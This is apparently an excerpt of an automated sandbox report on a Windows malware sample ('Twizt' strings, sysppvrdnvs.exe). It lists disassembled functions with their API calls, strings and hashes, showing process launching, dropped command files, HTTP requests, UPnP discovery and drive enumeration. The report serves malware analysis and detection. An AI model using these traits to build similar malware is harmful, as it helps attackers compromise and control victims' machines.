CloseHandle.KERNEL32(000000FF), ref: 00405D1F

Strings

.#v, xrefs: 00405D15, 00405D1F
C:\Users\user\tbtcmds.dat, xrefs: 00405C20

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: C:\Users\user\tbtcmds.dat$.#v
API String ID: 3956458805-1503835424
Opcode ID: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction ID: 999418e1eeb904d95552c7fd1475d0c30f1e1fd8627807f9f1e65d0b0efdc9c4
Opcode Fuzzy Hash: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction Fuzzy Hash: DE310E74E40209EBDB14DBA4DC49FAFB774EB48700F20856AE6017B2C0D7B96941CF99

Function 0040DD50 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0040DD56
GetThreadPriority.KERNEL32(00000000,?,?,?,00408480,02E50638,000000FF), ref: 0040DD5D
GetCurrentThread.KERNEL32 ref: 0040DD68
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480,02E50638,000000FF), ref: 0040DD6F
InterlockedExchangeAdd.KERNEL32(00408480,00000000), ref: 0040DD92
EnterCriticalSection.KERNEL32(000000FB), ref: 0040DDC7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040DE12
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040DE2E
Sleep.KERNEL32(00000001), ref: 0040DE5E
GetCurrentThread.KERNEL32 ref: 0040DE6D
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480), ref: 0040DE74

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: 15ec6ce41066bd2df298828df26a4308ea05a03792f046612c1f6ffbd780898a
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 1B412C74E00209DBDB04DFE4D844BAEBB71FF54315F108169E916AB381D7789A84CF99

Function 0040F400 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040F40E
memset.NTDLL ref: 0040F41E
CreateProcessW.KERNEL32(00000000,00407D11,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040F457
Sleep.KERNEL32(000003E8), ref: 0040F467
ShellExecuteW.SHELL32(00000000,open,00407D11,00000000,00000000,00000000), ref: 0040F482
Sleep.KERNEL32(000003E8), ref: 0040F49C

Strings

D, xrefs: 0040F426
, xrefs: 0040F491
open, xrefs: 0040F47B

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction ID: 03d024a0b9a73c413bf1553ab10d0ee3a8ab15297eec0ef6a9417e1ec1830951
Opcode Fuzzy Hash: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction Fuzzy Hash: ED112B71A80308BAEB209B90CD46FDE7778AB14B10F204135FA047E2C0D6B9AA448759

Function 0040B530 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B5C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B5E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B5F3
CloseHandle.KERNEL32(000000FF), ref: 0040B5FD
InterlockedExchange.KERNEL32(00414FB0,0000003D), ref: 0040B60A

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040B5C3
.#v, xrefs: 0040B5FD

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: C:\Users\user\tbtnds.dat$.#v
API String ID: 442028454-2305399225
Opcode ID: e97a8a2c87699ed7addb569746da41be2ee15c664e58c9574dad2c17ef3edcb8
Instruction ID: a0ca425d267a8141d5e1d1f6c90da30668f0d4feb664184cc2dbb6b4fe126232
Opcode Fuzzy Hash: e97a8a2c87699ed7addb569746da41be2ee15c664e58c9574dad2c17ef3edcb8
Instruction Fuzzy Hash: 93312BB4A00208EBCB14DF94DC45FAEB775FB88304F208969E51567390D775AA41CF99

Function 0040E310 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Sleep.KERNEL32(000003E8), ref: 0040E36E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

HTTP/1.1 200 OK, xrefs: 0040E37F
LOCATION: , xrefs: 0040E395

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction ID: e67ba9521a541be798431772fb319970cc3d6429c6b3b7a9c3ce28b53cac335a
Opcode Fuzzy Hash: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction Fuzzy Hash: 5E2130B0940218ABDB20CB65DC45BE9BB74AB04308F1085E9EB19B72C0D7B95AD6CF5D

Function 0040F4B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040F4C7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F4E6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F50F
InternetCloseHandle.WININET(00000000), ref: 0040F538
InternetCloseHandle.WININET(00000000), ref: 0040F542
Sleep.KERNEL32(000003E8), ref: 0040F54D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F4C2

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction ID: af5d65e8d2fa993cc87ce820da5284d466d7432e490674ab1d3698c460306143
Opcode Fuzzy Hash: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction Fuzzy Hash: E7212975A40308BBDB20DF94CC49FEEB7B5AB04705F1084A5EA11AB2C0C7B9AA84CB55

Function 004077F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040786D
Sleep.KERNEL32(000003E8), ref: 0040789C
wsprintfA.USER32 ref: 004078C7
DeleteUrlCacheEntry.WININET(?), ref: 004078D7
Sleep.KERNEL32(000DBBA0), ref: 0040791F

Strings

%s%s, xrefs: 004078BB

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 2d324eb47764d7037ea5e491b70087558066b5eaf200536a1985154444fa6cc2
Instruction ID: a96cc5071c69656b1b6f4b00c6699880e4d6530ea1aa1078cf67c052952084b8
Opcode Fuzzy Hash: 2d324eb47764d7037ea5e491b70087558066b5eaf200536a1985154444fa6cc2
Instruction Fuzzy Hash: 643116B0C01218DFCB50DFA8DC887EDBBB4BB48304F1085AAE609B6290D7795AC4CF59

Function 004063E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063E6
RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
RegCloseKey.ADVAPI32(?), ref: 0040647E

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406427
NoDrives, xrefs: 00406458

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction ID: 87cba227ccd7b938b07588cb79f30f32aa16a0fd6c84a7572e83495dfcaef010
Opcode Fuzzy Hash: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction Fuzzy Hash: D311FCB0E0020A9BDB10CFD0D945BEEBBB4BB08304F118119E615B7280D7B85685CF99

Function 0040DBE0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04

Part of subcall function 0040DCD0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
Part of subcall function 0040DCD0: CloseHandle.KERNEL32(?), ref: 0040DD29

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction ID: 271f69a92097b1b74c70525479ef463fb32d1143369d808ec26f6a45d53993ac
Opcode Fuzzy Hash: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction Fuzzy Hash: 8D31FA74A00208EFDB04DF98D889B9E7BB5EF48314F0085A8E906A7391D774EA95CF94

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 7007df3cd78c05f6c364500769b3b78794ef507e39daca42a47d869b9814613d
Instruction ID: 05dd75d8116292c76d11c3cc90d45d23dbf78b8bb9632d9a28891a4d74dcab7a
Opcode Fuzzy Hash: 7007df3cd78c05f6c364500769b3b78794ef507e39daca42a47d869b9814613d
Instruction Fuzzy Hash: 0731B3762083009BC710DF69D880A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00406360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?c@), ref: 0040636D
QueryDosDeviceW.KERNEL32(?c@,?,00000208), ref: 004063AC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 004063C4

Strings

?c@, xrefs: 00406369, 004063A8, 0040636C, 004063AB
\??\, xrefs: 004063B8

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: ?c@$\??\
API String ID: 1681518211-744975932
Opcode ID: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction ID: e6efffa98ab35b62633249d18dd791fc9affcc5f03e1fdb0b50d0aac4f7d71b0
Opcode Fuzzy Hash: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction Fuzzy Hash: 6101F474A4021CEBCB20CF55DD497DD7774AB04714F00C0BAAA06A7280D6759FD5CF99

Function 00407390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,004083D7), ref: 00407398
SysAllocString.OLEAUT32(C:\Windows\sysppvrdnvs.exe), ref: 004073A3
CoUninitialize.OLE32 ref: 004073C8

Part of subcall function 004073E0: SysFreeString.OLEAUT32(00000000), ref: 004075F8

SysFreeString.OLEAUT32(00000000), ref: 004073C2

Strings

C:\Windows\sysppvrdnvs.exe, xrefs: 0040739E

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Windows\sysppvrdnvs.exe
API String ID: 459949847-2879333202
Opcode ID: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction ID: 94d3ecd3e534f0c2973a063d63be5db40503c7f445082467247c405133df6831
Opcode Fuzzy Hash: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction Fuzzy Hash: FEE01275944208FBD7049FA0ED0EB9D77649B04341F1041A5FD05A22A1DAF56E80D755

Function 0040F1F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
CloseHandle.KERNEL32(000000FF), ref: 0040F232

Strings

.#v, xrefs: 0040F232

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: .#v
API String ID: 1378416451-507759092
Opcode ID: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction ID: 7e163f13d574deee43add6bab66e88a36a5285de070472799180e575aa2043d7
Opcode Fuzzy Hash: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction Fuzzy Hash: A0F03774A40308FBDB20DFA4DC49FCD7B74EB04701F2082A4FA047B2D0D6B55A418B44

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction ID: daf299aa3b87b71fb70ff151311bbfa052327c8c190f043936f27822c7d74034
Opcode Fuzzy Hash: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction Fuzzy Hash: 1621C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF559A6290E774D94887EA

Function 004073E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407670: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

SysFreeString.OLEAUT32(00000000), ref: 004075F8

Strings

Microsoft Corporation, xrefs: 00407566

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction ID: e42f15a5a8f3a5930d9f1f6311551bcb6c6e46ad7cdc057207f56e8781896ff9
Opcode Fuzzy Hash: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction Fuzzy Hash: 5191FB75E0450AAFCB14DB98CC94EAFB7B5BF48300F208169E505B73A0D735AE42CB66

Function 0040E0C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002,?,?,?,004083D2), ref: 0040E0CA

Part of subcall function 0040E190: socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
Part of subcall function 0040E190: htons.WS2_32(0000076C), ref: 0040E1E0
Part of subcall function 0040E190: inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
Part of subcall function 0040E190: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D
Part of subcall function 0040E190: bind.WS2_32(000000FF,?,00000010), ref: 0040E243
Part of subcall function 0040E190: lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
Part of subcall function 0040E190: sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
Part of subcall function 0040E190: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

TCP, xrefs: 0040E13B
UDP, xrefs: 0040E158

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction ID: 4536849a39b1ff6f82dd019fff268beff13b49d9c24eb1714a693627677867a5
Opcode Fuzzy Hash: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction Fuzzy Hash: C511B4B4E00208EBDB00EFD6DC45BAE7375AB44708F10896AE5047B2C2D6799E21CB89

Function 0040D550 Relevance: 4.6, APIs: 3, Instructions: 120COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040D55C
InterlockedIncrement.KERNEL32(000000FF), ref: 0040D591
InterlockedDecrement.KERNEL32(000000FF), ref: 0040D694

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementExchangeIncrement
String ID:
API String ID: 2813130747-0
Opcode ID: 2df816f2dcdd0a9ca9d31617e15265b78adafd30e8d8956d26d521e16ddc9f70
Instruction ID: 92f239bb69865f4ea5ccc2fa5ab36589b1b4cdc7d17313df2dab11b9d7d6be27
Opcode Fuzzy Hash: 2df816f2dcdd0a9ca9d31617e15265b78adafd30e8d8956d26d521e16ddc9f70
Instruction Fuzzy Hash: 8A41C3B5E00208BBDF00EBE4DC45FAF7B755B04304F048569B5057B2C2D679E54487A9

Function 0040BE30 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Twizt,?,?,?,?,8@,00000000,8@,0040E038,00000000,00000000), ref: 0040BE7C

Strings

Twizt, xrefs: 0040BE77
Twizt, xrefs: 0040BE83

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: Twizt$Twizt
API String ID: 1659193697-16428492
Opcode ID: 1349ff72827666e4cbc29eb052c20b65a3979f5a02af5532c34680a7c0598164
